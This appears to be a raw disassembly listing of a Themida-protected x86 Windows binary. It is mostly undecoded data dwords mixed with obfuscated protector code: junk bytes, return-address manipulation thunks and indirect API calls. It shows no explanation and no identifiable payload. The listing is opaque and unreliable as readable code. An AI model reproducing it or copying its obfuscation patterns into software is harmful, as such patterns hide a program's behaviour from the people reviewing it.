dd 39B9060Bh, 0FF42364Eh, 53006AD0h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0C0930F4Dh dd 0DE86E49h, 67000000h, 0F7D77642h, 270B4792h, 0C7AAB656h dd 19658501h, 0E85F060Bh, 14h, 70DE3CDDh, 371E904Dh, 0C15D7D4Dh dd 8C602DA7h, 0C60CC030h, 0FBB70F53h, 85895F5Ah, 60B2875h dd 0C6DFC580h, 0B284585h, 8B664606h, 4D8529D6h, 68060B1Ah dd 0BADE0614h, 10E960h, 97860000h, 396EAB5Eh, 4991916h dd 0E2F1ED4Ch, 81662BD2h, 61B326E1h, 0B01B5FFh, 0DE9060Bh dd 27000000h, 56EC796Dh, 7F286C5Dh, 0F3ED26EBh, 390D858Dh dd 0FE9060Bh, 0A6000000h, 52496C0Ch, 721CA512h, 0A00E6D7Ah dd 0D0FFD44Eh, 28D9958Bh, 8589060Bh, 60B21C5h, 10E9h, 2925AB00h dd 7775915h, 3C8EB3B1h, 94EB05E1h, 0C9BD891Eh, 0C6060B29h dd 0B284585h, 6A4706h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 79111BC3h, 0E726838h, 688D583Fh dd 8A0FB5E2h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 12C35545h, 19BD89BEh, 0FF060B07h, 0B0B01B5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 613F2D74h, 0D858DD4h, 1060B39h, 0B0CC185h, 6AD0FF06h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 0AB9BC356h, 7E9FCh, 0F4CF0000h, 982A6629h dd 0D1858929h, 89060B13h, 0B15799Dh, 4585C606h, 47060B28h dd 5890Fh, 0E6BA0000h, 6859A4E8h, 83D0B5F3h, 9DBD8951h dd 5F060B19h, 0B01B5FFh, 8C0F060Bh, 6, 0ED59D09h, 858D060Bh dd 60B390Dh, 258D8B60h, 61060B2Bh, 6AD0FFh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0F4A124C3h dd 0BCD7C5EBh, 31BBB0CBh, 0B0531B5h, 66D18106h, 8920F97Ch dd 0B051985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 0BC1064F0h, 29AD8589h, 85C6060Bh dd 60B2845h, 9958B77h, 68060B23h, 0F397A8A3h, 0DDE98166h dd 15B5FFADh, 89060B03h, 0B0DADB5h, 0D858D06h, 0E8060B39h dd 0Fh, 0B1F39B5Bh, 0DAB35DA7h, 69D6C36Fh, 89E7EC18h, 0B2DE99Dh dd 0D0FF5906h, 8589FA8Bh, 60B000Dh, 4585C6FCh, 47060B28h dd 8728F0BFh, 85BD8B3Ch, 68060B20h, 8728FAF6h, 32E58D89h dd 840F060Bh, 20h, 13E860h, 1B1D0000h, 6E69247Fh, 4736AA0Fh dd 59A5112Fh, 0E5202D67h, 1EBB598Ah, 61313E34h, 0B01B5FFh dd 0E8F9060Bh, 0Eh, 0A4B813FDh, 0D73A3D33h, 237C170Bh dd 0EE99493h, 27000000h, 7873C204h, 0A0E8EDADh, 6D4F9F98h dd 858D5FD1h, 60B390Dh, 5820Fh, 12B90000h, 0F6E18DDh, 0D0FFCABFh dd 0DE9BB966h, 74639DBAh, 5D85890Dh, 6A060B16h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 105BC352h, 9E99E32Dh, 10E9h, 2E2DFD00h, 745AAF33h, 623013Bh dd 24010259h, 4585C67Bh, 43060B28h, 8DBA6657h, 0FC685AD1h dd 6ABC8E6Eh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0ADB8C353h, 0AEA15E2Dh, 44A4BA2Eh dd 13E81D8Eh, 37000000h, 41430F7Dh, 0EF7BC23Ch, 0AF010F0Bh dd 4DE17498h, 0D2819B77h, 17FBC7A0h, 1B5FF5Fh, 81060B0Bh dd 41AE21EFh, 0D858D6Ah, 66060B39h, 0D0FFD78Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0E8C35343h, 10E96CACh dd 39F60E0Bh, 68D0FCEh, 9000000h, 0B2A9985h, 0B98D2306h dd 89060B05h, 0B026585h, 0AD9D8906h, 0C6060B19h, 0B284585h dd 8D894506h, 60B0C1Dh, 72696968h, 53006A8Eh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0A07D2ECFh dd 534F02A7h, 59CA8B66h, 0A45B966h, 0B01B5FFh, 2EB1060Bh dd 390D858Dh, 8166060Bh, 0FFC8BBF7h, 0E78166D0h, 8589D36Fh dd 60B2F4Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 0CEC35646h, 0A121DD32h, 0E8BE470Fh, 12h, 0A72F4D29h dd 4D570A3Bh, 0D988099Dh, 0D7FB2C9Eh, 8D8B88E2h, 60B2DFDh dd 4585C65Ah, 44060B28h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 1CC35545h, 0E5EF077h, 3C94D193h, 0F2EC6468h dd 0FBB70FB8h, 0B01B5FFh, 10E9060Bh, 6000000h, 29EEDD61h dd 324864A8h, 0DBCEF087h, 8D39130Ch, 0B390D85h, 0FFFE8B06h dd 3DBD8BD0h, 89060B00h, 0B059985h, 75BF6606h, 4585C6EFh dd 43060B28h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 9DC35040h, 47D5A5E5h, 89529C84h, 0B088D85h, 4AA76806h dd 0BD03C076h, 60B1FD5h, 0B01B5FFh, 858D060Bh, 60B390Dh dd 6810Fh, 0BD2B0000h, 60B0719h, 0FC60D0FFh, 1AAD9D03h dd 8961060Bh, 0B0B8D85h, 0D58D2906h, 80060B17h, 0E00ECBDh dd 840F0006h, 0CEh, 0CE858DF8h, 8B060E00h, 0B080195h, 6A5006h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0CFB0FFC3h, 0E8016AFCh, 6, 0F4259CADh, 958B684Fh, 60B1BB1h dd 6A006A5Ah, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 89C3C356h dd 0B2761B5h, 0E9006A06h, 8, 0F49F975Dh, 14DBB6F9h, 27A595FFh dd 7E9060Bh, 50000000h, 0A2DC5B95h, 85898FE8h, 60B281Dh dd 15F1958Bh, 0FF6A060Bh, 2B69958Bh, 8C0F060Bh, 5, 0D0669ABFh dd 1DB5FF79h, 0E8060B28h, 0Bh, 0F9C25AD5h, 4508DE84h, 8968C1E4h dd 0B2AC99Dh, 95FF5A06h, 60B2411h, 2961B509h, 0C08B060Bh dd 0BD83EB8Ah, 60B05BDh, 83097500h, 0B29D1BDh, 19740006h dd 0C08B5350h, 7D1B8h, 35858900h, 8D060B2Ah, 0DB31A9Dh dd 5BD3FF06h, 0D1BD8358h, 60B29h, 53501774h, 7D1B8h, 35858900h dd 8D060B2Ah, 0DB0099Dh, 5BD3FF06h, 6AFB8B58h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 67B7C352h, 4990AEEBh, 4A818E1Eh, 0EE8AC08Bh, 284585C6h dd 8B47060Bh, 0B23058Dh, 0B5896006h, 60B2E41h, 0F7C16861h dd 0BD8993C8h, 60B02A1h, 0B01B5FFh, 958B060Bh, 60B0B25h dd 390D858Dh, 8166060Bh, 0FF9147E2h, 0B5B589D0h, 50060B1Eh dd 2E91958Bh, 858D060Bh, 60E050Fh, 2205BD8Bh, 0C7060Bh dd 94h, 220D9523h, 358060Bh, 0B2DE995h, 0FB58D06h, 8B060E05h dd 0B2A59BDh, 0D0FF5606h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 0ACC35343h, 0F1BD897Bh, 8D060B0Eh, 0E050F85h dd 4788306h, 3A850F06h, 80000000h, 85C77FC9h, 60E05A3h dd 1, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h dd 0AC35040h, 0AE93B4Ch, 1B000000h, 0DB4997A7h, 0EF00C301h dd 0B5BD8386h, 60B00h, 38850Fh, 85090000h, 60B2DF1h, 5A3BD83h dd 0F00060Eh, 2585h, 358D2B00h, 83060B29h, 0B08D1BDh, 840F0006h dd 12h, 85C7F88Bh, 60B0021h, 0 ; --------------------------------------------------------------------------- mov [ebp+60B03A9h], ecx mov bx, ds call sub_56D389 mov cl, 0D4h mov bh, 80h mov ds:6CF5B4E4h, al add byte ptr [ecx], 3Ah sbb edx, 1Fh inc eax xchg eax, ebx and ebx, [eax] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_56D389 proc near ; CODE XREF: Themida_:0056D371p jmp sub_56D398 sub_56D389 endp ; --------------------------------------------------------------------------- dw 8BB7h dd 22DF6604h, 0ED18204Ah ; =============== S U B R O U T I N E ======================================= sub_56D398 proc near ; CODE XREF: sub_56D389j ; FUNCTION CHUNK AT 0056D937 SIZE 00000053 BYTES ; FUNCTION CHUNK AT 0056D998 SIZE 0000000E BYTES pop edi xor [ebp+60B29E5h], ecx test bl, 4 jz loc_56D937 mov dword ptr [ebp+60B0B19h], 0 push 0 push edx call sub_56D3BD and [edx-3Dh], bl sub_56D398 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_56D3BD proc near ; CODE XREF: sub_56D398+1Dp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_56D3BD endp ; --------------------------------------------------------------------------- db 0F4h, 5Bh, 0DDh ; --------------------------------------------------------------------------- adc [edi+424665B7h], bl pop edi push edi movsx edx, bx pop ecx and cx, 9B06h cmp byte ptr [ebp+60E00F9h], 0 jnz loc_56D406 jmp loc_56D406 ; --------------------------------------------------------------------------- and al, 4Eh adc dh, ah rcr dword ptr [edx], 0FFh mov edx, 4EA70CCFh icebp sbb eax, 0D04FCCB4h retf ; --------------------------------------------------------------------------- loc_56D406: ; CODE XREF: Themida_:0056D3E8j ; Themida_:0056D3EEj mov byte ptr [ebp+60B2845h], 47h sub [ebp+60B0609h], edi push 0E3E45B86h xor [ebp+60B0AE5h], esi push dword ptr [ebp+60B0B01h] push 0 push ebp call sub_56D42F and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56D42F proc near ; CODE XREF: Themida_:0056D427p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_56D42F endp ; --------------------------------------------------------------------------- db 0E8h dd 0C55923E2h, 66FD1F6Dh, 8B5840BAh, 0B2099BDh, 0D858D06h dd 80060B39h, 0D0FFFDE6h, 8E9h, 51D26000h, 0ABAE947Bh dd 104685Eh, 0C6BF0000h, 8D63433Ch, 0B099D9Dh, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0B625F682h, 2367697Fh, 0B00F9BDh, 81665306h, 0FFD666DFh dd 0D3B70FD0h, 0ABEF8166h, 9D858D26h, 89060B09h, 0B1F71BDh dd 64B65006h, 0AB858Dh, 6A060Eh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 2A91B8C3h, 0FFF91F09h dd 50006A50h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 1002EE54h, 661BC8EAh, 8D3FAAB9h, 0DF77E85h dd 9D895006h, 60B2AA5h, 0D95FFh, 6660060Bh, 9A15E981h dd 8361F78Ah, 13E90CC4h, 52000000h, 97AE0821h, 0F5D0F9B6h dd 3B34F330h, 750115C1h, 6AAE66h, 8068h, 6A036A00h, 68006A00h dd 80000000h, 0F77E858Dh, 0FF50060Dh, 0B026595h, 8E858906h dd 0C6060E00h, 0B284585h, 87684706h, 0FFC7B15Eh, 0B0B01B5h dd 0D858D06h, 0FF060B39h, 0FF006AD0h, 0E008EB5h, 8BD0FF06h dd 0B0C2D8Dh, 3D29B506h, 37D0h, 4C830Fh, 958B0000h, 60B13C1h dd 8EB5FFh, 0B589060Eh, 60B059Dh, 161FD981h, 95FF52E4h dd 60B0B8Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 0F9C35242h, 9C808EBh, 0D7BF0F0Dh, 115E9h, 0FC10BF00h dd 0B5FF3A5Eh, 60E008Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 0D6C35343h, 0FF8F6331h, 0B0B8D95h, 0E18D8B06h dd 6A060B28h, 0D68B6600h, 820F006Ah, 6, 2041B529h, 0BD8B060Bh dd 60B0079h, 8B66006Ah, 0B1006ACFh, 66006AB0h, 6AF88Bh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0BC35343h dd 8D473ACDh, 0E009285h, 3D9D8906h, 50060B05h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 54C35747h, 3FEF0DBAh dd 6595FF72h, 6A060B02h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0E90FC357h, 11h, 0CD2C38FDh dd 28179745h, 11DCC0E0h, 9B055134h, 0FFF883F5h, 188850Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 0C459F0C3h, 1F07F551h, 69D958Bh, 858D060Bh dd 60DBB83h, 0B966D0FFh, 6AFAC3h, 0AE957h, 0BAF10000h dd 0A420E6C1h, 76CC2D5Bh, 1006A5Fh, 0B04CD85h, 60606006h dd 8D8D8961h, 61060B09h, 82DDCCB8h, 6A612Ch, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 6EC35141h, 0F8BF0FD5h dd 55B6006Ah, 6A6BC980h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 0F299FF4Fh, 0F0D2D984h dd 6AE723h, 98F3F181h, 858D734Dh, 60E0092h, 6958D0Bh, 8950060Bh dd 0B0F098Dh, 6595FF06h, 0E8060B02h, 13h, 0D6686C9Dh, 98B75CB0h dd 0F5872D2Ch, 5529ADDh, 0FA8921Eh, 28Fh, 59616000h, 0FFFF883h dd 8D85h, 0B5B58900h, 8D060B1Fh, 0DFA9AB5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 8DCC95C3h, 0DA5F985h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 0FFCB8713h, 8138B2D0h dd 31CB99C9h, 66006A0Ah, 0D809EA81h, 3699589h, 95FF060Bh dd 60B2F4Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 0F4C35646h, 0AD7E6DAAh, 8589FA8Bh, 60E008Eh, 2AE18D8Bh dd 6A060Bh, 59D78B53h, 86858Dh, 0C8B5060Eh, 0D7816650h dd 46ACEECh, 28E5BD23h, 8D8B060Bh, 60B1E85h, 1F75858Dh dd 0BD8B060Bh, 60B1A59h, 0D68B6650h, 0F83CCF81h, 6A46ADh dd 8D8B006Ah, 60B0259h, 168D0Fh, 11E90000h, 14000000h dd 9025C0DFh, 0C7BB1366h, 0B0E3CEC8h, 6655D5A3h, 6E9016Ah dd 8000000h, 0E87602Eh, 8EB5FF3Ah, 0E9060E00h, 12h, 0D303E876h dd 0CA5410ECh, 37631970h, 0B3E9E178h, 95FFA526h, 60B0599h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0B1C35141h dd 2FFE81BAh, 46E9E94Eh, 0E800001Bh, 6, 0EE814A2Dh, 840F48E5h dd 6, 0BDDBD33h ; --------------------------------------------------------------------------- or eax, [esi] pop ecx ; START OF FUNCTION CHUNK FOR sub_56D398 loc_56D937: ; CODE XREF: sub_56D398+Aj mov eax, eax stc cmp dword ptr [ebp+60B05BDh], 0 jnz short loc_56D94C cmp dword ptr [ebp+60B29D1h], 0 jz short loc_56D965 loc_56D94C: ; CODE XREF: sub_56D398+5A9j push eax push ebx mov eax, eax mov eax, 7D2h mov [ebp+60B2A35h], eax lea ebx, [ebp+60DB31Ah] call ebx pop ebx pop eax loc_56D965: ; CODE XREF: sub_56D398+5B2j cmp dword ptr [ebp+60B29D1h], 0 jz short loc_56D985 push eax push ebx mov eax, 7D2h mov [ebp+60B2A35h], eax lea ebx, [ebp+60DB009h] call ebx pop ebx pop eax loc_56D985: ; CODE XREF: sub_56D398+5D4j jmp loc_56D998 ; END OF FUNCTION CHUNK FOR sub_56D398 ; --------------------------------------------------------------------------- dw 1E37h dd 0FF8A4AACh, 5D08C6AAh, 0FE6B1D7Eh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D398 loc_56D998: ; CODE XREF: sub_56D398:loc_56D985j mov cx, bx push 0 push edi call sub_56D9A6 and [edi-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_56D398 ; =============== S U B R O U T I N E ======================================= sub_56D9A6 proc near ; CODE XREF: sub_56D398+606p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_56D9A6 endp ; --------------------------------------------------------------------------- dw 6C1Bh db 2Eh, 8Bh, 0C0h ; --------------------------------------------------------------------------- call sub_56D9C7 mov ecx, 0C2077203h movsb std ; =============== S U B R O U T I N E ======================================= sub_56D9C7 proc near ; CODE XREF: Themida_:0056D9BBp ; FUNCTION CHUNK AT 0056DB77 SIZE 0000003C BYTES ; FUNCTION CHUNK AT 0056DBBE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056DBD4 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 0056F465 SIZE 00000011 BYTES mov ecx, [ebp+60B0C41h] pop ecx mov dword ptr [ebp+60B0B19h], 1 jmp loc_56D9EE ; --------------------------------------------------------------------------- db 26h, 38h, 0Fh dd 0BF4565D4h, 0B193EE47h, 2F74AEC7h db 64h, 71h ; --------------------------------------------------------------------------- loc_56D9EE: ; CODE XREF: sub_56D9C7+11j push 0CEE4E7B8h push dword ptr [ebp+60B194Dh] lea eax, [ebp+60B390Dh] call eax mov [ebp+60B1865h], eax push 0C005DBD4h push dword ptr [ebp+60B194Dh] lea eax, [ebp+60B390Dh] call eax mov [ebp+60B2A61h], eax lea eax, [ebp+60DF537h] push eax push dword ptr [ebp+60B0B01h] call dword ptr [ebp+60B13D1h] or eax, eax jz short loc_56DA42 mov ebx, eax lea eax, [ebp+60E04EAh] push eax call ebx loc_56DA42: ; CODE XREF: sub_56D9C7+6Ej lea eax, [ebp+60E04EAh] cmp word ptr [eax], 9 jnz short loc_56DA58 mov dword ptr [ebp+60B0DB1h], 1 loc_56DA58: ; CODE XREF: sub_56D9C7+85j call dword ptr [ebp+60B165Dh] and eax, 0FFh cmp eax, 5 jnb short loc_56DA72 mov dword ptr [ebp+60B2859h], 1 loc_56DA72: ; CODE XREF: sub_56D9C7+9Fj jmp loc_56DA83 ; --------------------------------------------------------------------------- db 0C5h dd 82FF728Bh, 0CED6CE05h db 21h, 0ACh, 77h ; --------------------------------------------------------------------------- loc_56DA83: ; CODE XREF: sub_56D9C7:loc_56DA72j jmp loc_56DA96 ; --------------------------------------------------------------------------- dd 0D1492DC6h, 4834CF2h, 9DD0919Eh ; --------------------------------------------------------------------------- scasb push edx loc_56DA96: ; CODE XREF: sub_56D9C7:loc_56DA83j cmp byte ptr [ebp+60E00F9h], 0 jnz loc_56DAB4 mov edi, [ebp+60B0331h] jmp loc_56F465 ; --------------------------------------------------------------------------- mov edx, [ebp+60B08B1h] loc_56DAB4: ; CODE XREF: sub_56D9C7+D6j cmp dword ptr [ebp+60B0DB1h], 0 jnz loc_56DB77 push edi mov dl, 0Ah pop ecx lea eax, [ebp+60E00C3h] push 0 push edi call sub_56DAD6 and [edi-3Dh], bl sub_56D9C7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_56DAD6 proc near ; CODE XREF: sub_56D9C7+107p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_56DAD6 endp ; --------------------------------------------------------------------------- dw 356Dh ; --------------------------------------------------------------------------- icebp pop edx cmpsb sub al, 89h mov ch, 0ADh or eax, 8B50060Bh lea edx, [ecx] sbb [ebx], cl push es push 1 mov di, si push 0 push 0 push edx call sub_56DB0B and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56DB0B proc near ; CODE XREF: Themida_:0056DB03p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_56DB0B endp ; --------------------------------------------------------------------------- mov dword ptr [eax-4CEC0163h], 89FA53B0h lea ebx, [ebp+0F060B0Fh] mov bh, 0D1h push 0 pusha push eax adc bh, 3 pop esi pusha mov eax, edi popa popa and edi, [ebp+60B0BC5h] call dword ptr [ebp+60B27A5h] mov ecx, edi mov [ebp+60E00EDh], eax jge loc_56DB57 mov ch, 10h loc_56DB57: ; CODE XREF: Themida_:0056DB4Fj push 0FFFFFFFFh sbb edi, 4E6095Eh push dword ptr [ebp+60E00EDh] mov edi, [ebp+60B1F69h] call dword ptr [ebp+60B2411h] mov edx, [ebp+60B1505h] ; START OF FUNCTION CHUNK FOR sub_56D9C7 loc_56DB77: ; CODE XREF: sub_56D9C7+F4j lea eax, [ebp+60DF4FEh] mov edx, [ebp+60B2181h] jbe loc_56DB8F mov [ebp+60B1FA9h], ebx loc_56DB8F: ; CODE XREF: sub_56D9C7+1BCj push eax mov ecx, [ebp+60B2125h] sub [ebp+60B2F39h], eax call dword ptr [ebp+60B2875h] mov edi, [ebp+60B12A5h] mov [ebp+60DF588h], eax jmp loc_56DBBE ; END OF FUNCTION CHUNK FOR sub_56D9C7 ; --------------------------------------------------------------------------- db 14h dd 0FE0E2389h, 0F3016B9Eh ; --------------------------------------------------------------------------- mov bh, 59h ; START OF FUNCTION CHUNK FOR sub_56D9C7 loc_56DBBE: ; CODE XREF: sub_56D9C7+1E7j lea eax, [ebp+60DF50Bh] jmp loc_56DBD4 ; END OF FUNCTION CHUNK FOR sub_56D9C7 ; --------------------------------------------------------------------------- db 75h, 0D5h, 0D7h db 0CCh align 2 pop esi pop esi lodsb mov ah, [ecx] push eax ; START OF FUNCTION CHUNK FOR sub_56D9C7 loc_56DBD4: ; CODE XREF: sub_56D9C7+1FDj push eax call near ptr loc_56DBE5+1 mov ds:20F540B1h, al sbb eax, 0AC89A76Dh pop ds loc_56DBE5: ; CODE XREF: sub_56D9C7+20Ep bound ecx, [ebx] xchg eax, ebp pop ecx sub ecx, [ebx] push es pop edi push dword ptr [ebp+60DF588h] push 0 push esi call sub_56DBFE and [esi-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_56D9C7 ; =============== S U B R O U T I N E ======================================= sub_56DBFE proc near ; CODE XREF: sub_56D9C7+22Fp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_56DBFE endp ; --------------------------------------------------------------------------- dw 7C36h ; --------------------------------------------------------------------------- sbb cx, 0FCC3h push edx sub [ebp+60B0415h], ecx pop ecx call dword ptr [ebp+60B13D1h] push 0 push ebx call sub_56DC2E and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56DC2E proc near ; CODE XREF: Themida_:0056DC26p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_56DC2E endp ; --------------------------------------------------------------------------- jge short loc_56DC7D adc al, 0EEh mov edx, [ebp+60B059Dh] mov di, si mov [ebp+60B1B8Dh], eax push 0 push eax call sub_56DC5C and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56DC5C proc near ; CODE XREF: Themida_:0056DC54p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_56DC5C endp ; --------------------------------------------------------------------------- dd 0E800B598h, 8, 767FDD78h, 1FBA2F6Ah ; --------------------------------------------------------------------------- push esi loc_56DC7D: ; CODE XREF: Themida_:0056DC3Ej adc dh, 15h pop edi pop edx jmp loc_56DC8C ; --------------------------------------------------------------------------- db 28h dd 32749303h ; --------------------------------------------------------------------------- loc_56DC8C: ; CODE XREF: Themida_:0056DC82j lea eax, [ebp+60DF579h] mov [ebp+60B0979h], edi mov ecx, esi push eax mov ecx, [ebp+60B3351h] push dword ptr [ebp+60DF588h] cld mov edi, [ebp+60B02C9h] call dword ptr [ebp+60B13D1h] mov [ebp+60B16BDh], edi jmp loc_56DCC5 ; --------------------------------------------------------------------------- db 9, 0E4h ; --------------------------------------------------------------------------- xchg eax, ebp inc edi les esi, [edi] loc_56DCC5: ; CODE XREF: Themida_:0056DCBAj mov [ebp+60DF59Ch], eax push 0 push ebx call sub_56DCD6 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56DCD6 proc near ; CODE XREF: Themida_:0056DCCEp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_56DCD6 endp ; --------------------------------------------------------------------------- dw 0C018h dd 10E8E064h, 29000000h, 0BB5F5383h, 146D78B3h, 0C215D8DEh dd 0B531321Ah, 858D5973h, 60DF558h, 72E5CA81h, 8B500E0Ah dd 0B20698Dh, 318D8B06h, 0FF060B2Fh, 0DF588B5h, 0CBBF0F06h dd 3C99D89h, 95FF060Bh, 60B13D1h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 4EC35747h, 38E119h, 8B18EE0Ah dd 0B01658Dh, 94858906h, 50060DF5h, 0F8BF0F60h, 27359D8Bh dd 5F61060Bh, 0F54B858Dh, 6A060Dh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 50A818C3h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0D8C35646h, 0A0E1F16Ah dd 66DFC69Bh, 0FF0889B9h, 0DF588B5h, 0EE806h, 0F8420000h dd 2FAC39B4h, 0B2FFE26Ch, 208FAD52h, 1375BD2Bh, 895A060Bh dd 0B014995h, 0D195FF06h, 8B060B13h, 0B063D95h, 0B5295106h dd 60B00F1h, 9885895Fh, 8A060DF5h, 66858DD3h, 81060DF5h dd 7DEF0DE9h, 0E2815020h, 4775E9EBh, 0F588B5FFh, 6A060Dh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 7D3814C3h, 0E8E0DA5Ah, 12h, 0EE035520h, 4BCD8277h, 0AC87392h dd 4B762E26h, 0EF8A06EDh, 95FFFC59h, 60B13D1h, 0F18589F5h dd 0E9060B02h, 8, 6C0DCF21h, 686B57B8h, 0F51A858Dh, 0B70F060Dh dd 0B70F50D0h, 88B5FFD7h, 0B9060DF5h, 352385E0h, 13D195FFh dd 0B966060Bh, 85892CE7h, 60DF58Ch, 15298D0Bh, 0CE8060Bh dd 0BF000000h, 91CD4019h, 28B5B065h, 891AC02Eh, 0B0439BDh dd 858D5F06h, 60DF529h, 68B0Fh, 8D8B0000h, 60B22F1h, 0BD2B5750h dd 60B31B5h, 88B5FF5Fh, 0E9060DF5h, 10h, 0F3066DA2h, 0A1C3F032h dd 8F255D9h, 0E57777C9h, 13D195FFh, 0E680060Bh, 908589BEh dd 0B2060DF5h, 0FE9C9h, 54910000h, 6AF6D185h, 2DE06BAFh dd 0B75D83F3h, 1046893h, 870F0000h, 6, 45B589h, 858D060Bh dd 60DF620h, 4099589h, 6050060Bh, 0CDD9589h, 11E8060Bh dd 0A7000000h, 0B41DF14Eh, 0CBD04FCCh, 28D6D084h, 347129B9h dd 20B5B523h, 615B060Bh, 0F724858Dh, 0BD89060Dh, 60B1FB5h dd 53006A50h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 0DE2AB413h, 3EEAB696h, 6860Fh, 8D0B0000h dd 60B04A9h, 26C19589h, 95FF060Bh, 60B0519h, 0E1816652h dd 855FBEF4h, 2850FC0h, 8B000000h, 0F9BD80FAh, 60E00h dd 11850Fh, 8D8B0000h, 60B2969h, 14A8E9h, 29B58900h, 83060B31h dd 0B0DB1BDh, 850F0006h, 21h, 8B31FEB9h, 0C9BF0F23h, 5A3BD83h dd 0F00060Eh, 2584h, 68D0F00h, 89000000h, 0B0B6585h, 0BD858D06h dd 0F060DF5h, 66E9D3B7h, 0E9000014h, 12h, 0E719589h, 858D060Bh dd 60DF5A8h, 122D958Bh, 6A50060Bh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8BC4C356h dd 0B0EF18Dh, 20858D06h, 81060DF6h, 0BB6DC5EFh, 0B9665007h dd 0BD83CE07h, 60B0DB1h, 71840F00h, 0E9000000h, 8, 52A5D089h dd 0DBB575F6h, 0F746858Dh, 6A060Dh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 14697AC3h dd 0EA22BF7Ah, 5ED8D8Bh, 8A0F060Bh, 11h, 0B8D0Fh, 6E90000h dd 0E0000000h, 4DAC5723h, 26E994h, 29600000h, 0B0341B5h dd 6860F06h, 89000000h, 0B067985h, 0B5896106h, 60B0F61h dd 0F72F858Dh, 8D89060Dh, 60B00D9h, 7E858D50h, 66060DF7h dd 8950FE8Bh, 0B21A985h, 0D95FF06h, 0F060B00h, 0C280D7BFh dd 10C48377h, 0FAACBF66h, 